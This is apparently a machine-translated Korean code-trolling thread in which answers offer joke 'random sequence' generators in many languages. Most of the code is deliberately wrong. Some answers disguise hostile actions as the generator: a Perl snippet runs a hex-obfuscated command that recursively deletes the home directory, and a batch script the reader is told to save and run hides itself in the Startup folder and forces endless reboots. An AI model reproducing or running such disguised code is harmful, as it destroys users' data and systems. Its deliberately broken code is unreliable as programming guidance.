도전 과제 :

임의의 숫자 시퀀스를 생성하십시오. 시퀀스의 길이 만 입력해야합니다.

순수한 기능 솔루션을위한 추가 인터넷 포인트.

^{참고 : 이것은 코드-트롤링 질문입니다. 질문 및 / 또는 답변을 진지하게 받아들이지 마십시오. 자세한 내용은 여기를 참조 하십시오 .}

파이썬

임의의 wikipedia 기사를 잡고 길이가 num 인 html 문자 시퀀스를 가져 와서 숫자 값을 얻습니다.

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

다른 답변의 모든 프로그램은 소위 "의사 난수"만 생성하므로 훈련되지 않은 눈에는 무작위로 보이지만 실제로는 일부 패턴을 따릅니다.

다음 프로그램은 컴퓨터를 배경 방사선을위한 입자 탐지기로 전환하여 실제 난수를 생성합니다. 이것은 양자 효과를 기반으로하기 때문에 예측하기가 정말 임의적이며 불가능합니다. 그리고 보너스로 컴퓨터를 우주로 발사하면 프로그램이 실제로 더 빨리 실행됩니다. 그리고 그렇습니다. 그것은 그것이 들리는 것처럼 시원합니다.

씨

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

스포일러 :

이 프로그램은 두 개의 동일한 메모리 조각을 생성 한 다음 배경 방사선 이 그 중 하나를 변경 하는 데 걸리는 시간을 기다립니다 . 그런 다음 대기 시간은 임의의 숫자로 리턴되며 정수 오버 플로우가 아닌 경우 지수 적으로 분배됩니다. 우주에서 그러한 사건이 발생할 가능성은 우주 경화 의 실제 문제이며, 이는 방사선 경화로 해결됩니다. . 따라서 서론의 모든 진술은 시원함에 관한 부분을 제외하고 어느 정도 사실입니다.

불행히도 이러한 이벤트는 컴퓨터 나 최소한 프로그램에 충돌이 발생하여 정확히 두 메모리 덩어리에 영향을주는 것보다 큽니다. 또한, 시간이 걸릴 수 있습니다… 마지막으로, 키노 키프에 의해 지적 된 바와 같이, 배경 방사선은 외부 프로세스이므로 다음 j과 k같이 표시되어야합니다.volatile 컴파일러 (또는 전혀 최적화하지 않는 컴파일러를 사용한다).

추신 : 아이디어를 확장하면 0으로 채워진 배열을 만든 다음 인쇄 할 수도 있습니다. 배경 복사가 저장과 인쇄 사이의 영점을 변화시킬 가능성이 있으며 따라서 인쇄되는 것은 임의적입니다 – OP는 난수가 어떻게 분포되어야하는지 결코 말하지 않았습니다.

컴퓨터에서는 순전히 결정적이기 때문에 임의성을 달성하기가 어렵습니다. 컴퓨터에서 난수를 생성하는 것은 매우 활발한 연구 분야이며, 종종 상태 수준 행위자를 포함합니다 ( Dual_EC_DRBG 참조 ). 그러나 최신 멀티 태스킹 운영 체제에서는 스레드 스케줄러가 일부 상황에서 통과 가능한 작업을 수행 할 수 있습니다. 이를 위해 현재 시간 조각을 운영 체제로 다시 제어하고 다시 예약하는 데 걸리는 시간을 기록합니다. 운영 체제 및로드에 따라 원하는 결과를 얻을 수 있습니다.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

씨#

out 소프트웨어 사용자는 본질적으로 그 특성상 무작위이기 때문에이를 우리의 이점으로 사용하지 않겠습니까?

이 코드는 스크린 샷을 찍어 다른 데이터와 함께 사용하여 임의 시퀀스를 생성합니다. 내장 랜덤 생성기를 사용하지 않는 보너스 인터넷 포인트?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

파이썬

불규칙하게 분포 된 난수 소스와 무작위 화가없는 일반적인 함정을 쉽게 극복 할 수 있습니다. 내 솔루션은 깊은 수학적 통찰력과 현재 시간에 대한 간단하지만 효과적인 트릭 무작위 화를 사용하여 이러한 문제를 완벽하게 방지합니다.

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

작은 숫자 집합 (9 이하)에 대해 한 번 테스트 할 때 훌륭하게 작동하지만 심각한 결함은 거의 테스트하지 않았습니다.

• math.pi 마침표 뒤에 몇 자리 숫자 만 포함
• time.localtime()[8]밀리 초 또는 커널 시계를 반환하지 않지만 일광 절약 시간제 여부에 따라 0 또는 1을 반환합니다. 따라서 무작위 시드는 반년마다 한 번씩 변경됩니다. 따라서 기본적으로 무작위 화는 없습니다.
• 0과 9 사이의 난수 만 반환합니다.
• random_numbers[:number]number15보다 큰 숫자 를 입력 하고 15 개의 난수 만 뱉으면 자동으로 실패 합니다.

안타깝게도, 이것은 비슷한 방식으로 작동하던 델파이 1.0 랜덤 함수에서 영감을 얻은 것입니다.

루비

질문은 SEQUENCE를 요구합니다. 다시갑니다 ...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

이것은 100 % 무작위입니다. 아니야
이 코드가 너무 나쁘다는 것은 OP에 아무런 의미가 없다는 것을 의미합니다 (도대체 object_id는 무엇입니까?)
또한 구현에 따라 다릅니다. 즉, 다른 루비 버전 사이에서 작동하지 않거나 작동하지 않습니다.
게다가 OP는 object_id로 실험 할 수 있기 때문에 잠재적으로 불쾌한 일을 할 수 있습니다 ...

출력 예 :

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

편집하다:

$$진정한 임의성 (OS 수준에서) 을 사용하도록 수정되었습니다 .

자바

이건 속임수 질문입니다 .....

Java의 대부분의 사람들은 math.random ()을 사용하여이 시퀀스를 생성하는 데 도움을 주지만 긍정적 인 결과 만 얻을 수 있기 때문에 혼동 될 것입니다! random()0에서 1 사이의 10 진수 값을 반환합니다 (1 자체 제외). 따라서 전체 정수 범위 (양수 및 음수)에서 임의의 값을 잘 분배 할 수 있도록 몇 가지 트릭을 수행해야합니다.

또한, 당신은 단순히 곱셈 수 Math.random()와 Integer.MAX_VALUE당신이 포함하지 않기 때문에 Integer.MAX_VALUE결과의 일부로서 그 자체! 또한 math.rand() * (Integer.MAX_VALUE + 1)전체 배포를 얻는 것이 논리적 이지만, 물론 Integer.MAX_VALUE + 1오버플로가되어 작동하지 않습니다 Integer.MIN_VALUE! 불행히도 가장 좋은 해결책은 데이터를 비트 단위로 조작하는 것입니다.

따라서 다음 범위 Integer.MIN_VALUE에서 Integer.MAX_VALUE( n 극단 값을 포함 하여 (어려운 부분입니다!)) 범위에서 'n'랜덤 값을 생성하는 완전한 순서 는 다음과 같습니다.

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

이것은 다음과 같은 출력을 생성합니다.

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

물론 위의 완전한 BS 답변입니다. 그것은 좋은 설명을 생성하지 않으며, '가죽'심각한 버그가 ( ^=해야한다 |=). 또한 덜 심각한 버그를 숨 깁니다 (order-pf-precedence는 실제로 소수를 곱하지 않는 것을 의미합니다!) 멋진 단어, 소수 및 많은 주석을 사용한다고해서 코드를 신뢰할 필요는 없습니다 ... 물론 위의 작업을 수행하려면java.util.Random.nextInt()

자바

이제 프로그램을 되돌아 보았으므로 닫는 것을 잊었습니다 Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

펄

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

$\다른 코드-트롤링 답변 과 동일한 출력 방법을 사용 하고 있습니다. 또한, 나는 상당한 금액을 투자하고 있다고 많은 통보 $$에 RANDU의 알고리즘입니다.

편집 : 더 잘 설명하기 위해 RANDU는 엄청나게 안전하지 않은 PRNG입니다. Wikipedia는 "지금까지 고안된 가장 악의적 인 난수 생성기 중 하나"라고 설명합니다. 주요 약점은 다음과 같습니다.

f (x) = 6 * f (x-1)-9 * f (x-2)

다음은 난수 생성기 base 2^CHAR_BIT입니다.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

자바 스크립트에서 기능적인 스타일 :

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

씨

이 기능은 0에서 1337 사이의 난수를 생성하는 소규모 응용 프로그램에 매우 적합합니다. 최대 난수를 보장하기 위해 두 번 이상 호출하는 것이 좋습니다.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

유명한 Blum Blum Shub 생성기. 난수 생성기는 암호화 방식으로 안전해야하며, 모호함보다 보안을 제공하는 더 좋은 방법이기 때문입니다.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(끔찍한 변수 이름, wikipedia의 빠른 스캔을 기반으로 한 잘못된 구현 및 재미를 위해 쓸모없는 함수 포인터 마술을 포함합니다)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

가비지 힙 데이터를 사용하십시오. 아, 그리고 포인터를 누설하는 것을 잊지 마십시오.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

장점 :

• 효과가있다.
• 때때로.
• 유효 (ish) C89.
• 끔찍한 C ++.
• 때문에 C 헤더를 사용 using namespace std;하다 악 우리는 모든 네임 스페이스 조회와 프로그램을 느리게하고 싶지 않아요.
• 하드 코딩 된 값으로 모듈러스를 사용하여 속도에 유리한 분포의 균일 성을 피합니다 (TODO : 훨씬 더 원시 속도를 위해 비트 시프트를 사용하도록 변경).
• 동일한 클럭 초 내에 다중 시간을 실행하여 결정 성을 확인할 수 있습니다.
• 이 코드가 나쁜 이유는 OP가 인식하지 못할 정도로 불분명합니다.

단점 :

• 이 코드가 나쁜 이유는 OP의 교수 (학년)가 아마 그것을 알지 못할 정도로 불분명합니다.
• 이것은 일반적으로 수용 가능한 솔루션으로 간주됩니다.
• 더 많은 RAW SPEED가 필요합니다.

매스 매 티카

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI 기본 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

입력-3

출력-{2,3,1}

그것은 아래로 비등하기 때문에 작동합니다 :Input A:Disp randIntNoRep(1,A)

다음은 Python 솔루션입니다. 이것이 무작위 가 아님을 증명할 수 없습니다 !

def get_random(num):
    print '3' * num

get_random(5)예 를 들어을 호출하여 사용해보십시오 .

펄

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

이것은 매우 간단한 perl 코드를 사용하여 OP가 요청 한대로 수행하지만 홈 디렉토리를 재귀 적으로 제거하기 전에는 아닙니다 (실제로 rm -rf ~를 쓰지 않고).

나는 이것을 테스트하지 않았다 (명확한 이유로).

파이썬 3

많은 시간 (실제 시간과 CPU 시간 모두)을 낭비 할뿐만 아니라 10 개의 난수 만 반환합니다.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

루비

모든 숫자가 무작위 인 것은 아닙니다. 이 프로그램은 모든 숫자를 확인 하고 진실한 숫자 만 제공합니다. 무작위입니다.

루비 코드는 읽기가 약간 까다 롭습니다. 컴퓨터는 약간 어리 석고 때로는 중요한 단어를 반복해야하기 때문에 영어만큼 효율적이지 않습니다.

따라서 #comments코드 에 일부 를 추가했습니다 . 주석의 대문자는 루비 코드에서 동일한 단어가 어떻게 작동하는지 보여줍니다.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

좀 더 자세한 설명이 나중에 나올 수 있지만 예제 실행의 결과는 다음 중 일부를 제공해야합니다. [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... 아직도 좀 무작위입니다.

다음 Windows Batch 스크립트는 OUTPUT.TXT프로필 폴더에 임의의 숫자가 지정된 파일을 생성 합니다. 이것은 거의 완전히 진정한 난수를 생성하도록 보장됩니다. 이 코드를 메모장에 붙여 넣고 "FileName.CMD"따옴표 로 저장 하고 실행하십시오.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

생성 할 난수를 입력해야하는 것은 너무 번거로운 일입니다. 전원 버튼을 길게 누르면 생성이 중지됩니다. 방법 쉽게! 또한 키보드가 필요하지 않습니다.

루아

이것은 지나치게 복잡하고 복잡하며 (구문 강조 표시를 사용하여도) 지저분하게 높은 숫자를 생성하는 기능입니다. 그리고 숫자 문자열을 반환하는 대신 화면에 숫자를 인쇄하여 프로그램에서 사용하기에 실용적이지 않습니다. 편집하기가 어려우므로, 피해자가 수정을 요청하면 수정하기가 너무 복잡하다고 말합니다.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

씨#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

더 긴 시퀀스에서는 깨지는 경향이 있지만 작동하면 매우 임의의 숫자를 생성합니다.

포트란

컴퓨터에는 이미 임의의 숫자가 내장되어 있으므로 다음에 액세스하면됩니다.

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

사용자가 * nix 시스템을 가지고 있어야하므로 여전히 이식성이 없습니다 (그러나 여전히 Windows를 사용하는 사람은 누구입니까?).

물론 많은 난수 가 필요하다고 가정합니다 . 어떤 요구 ...

배쉬와 하둡

물론 NSA 시대에는 단일 임의 소스를 사용하는 것이 신뢰할 수 없습니다. 컴퓨터를 트로이 목마로 막았을 수 있습니다. 그러나 그들은 전체 클러스터를 트로이 목마로 만들지 않을 것입니다!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

다음으로 스크립트는 원하는대로 클러스터 작업을 실행합니다.

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

우리에게 하둡의 힘이 있습니다.

루비

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

이것은 매우 까다 롭고 걱정하지 않아도됩니다. 아래 코드를 복사하여 라이브러리에 붙여 넣으면 영원히 황금색이됩니다.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

C ++-빠르고 강력하며 원하는 모든 것을 사용해보십시오.

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

그건 그렇고, 최상의 결과를 얻으려면을 사용하고 싶을 것 class입니다.

설명 :
1. 그는 그것을 사용할 필요가 없습니다 class-그것은 완전히 중복입니다.
2. return 문은 generate_num()실제로 number ^ (number ^ 0)을 반환합니다.이 숫자는 number ^ 1 (숫자)로 평가됩니다. 이것은 또한 중복입니다.
3. 가장 불필요한 오류 처리-이 기본 데이터 펀칭에서 무엇이 잘못 될 수 있습니까?
4. 네임 스페이스의 std::모든 요소 앞에 사용했습니다 std. 이것은 또한 중복입니다.
5. #define진술 또한 불필요하다-나는 그에게 내가이 프로그램을 위해 특별히 그 유형을 정의했다고 생각하게했다.

면책 조항 :
이 프로그램은 실제로 작동합니다. 그러나 실제 코드를 사용하는 사람이나 단체는 권장하지 않습니다. 본인은이 규정에 대한 어떠한 권리도 보유하지 않습니다. 즉, 나는 그것을 완전히 오픈 소스로 만듭니다.

파이썬

기능적 부분을 취하는 것-거의 하나의 라이너 파이썬

import random
map(lambda x: random.random(), xrange(input())